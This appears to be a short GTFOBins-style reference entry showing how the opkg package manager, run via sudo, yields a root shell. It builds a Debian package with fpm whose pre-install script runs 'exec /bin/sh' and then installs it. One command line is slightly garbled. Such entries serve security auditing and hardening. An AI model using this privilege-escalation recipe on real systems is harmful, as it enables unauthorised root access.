This executable can spawn an interactive system shell.
Generate the Debian package with fpm and upload it to the target.
echo 'exec /bin/sh' >x.sh fpm -n x -s dir -t deb -a all --before-install x.sh .
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
sudo
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
sudo VAR=value ...
sudo -E ...
rpm opkg install x_1.0_all.deb
Source | History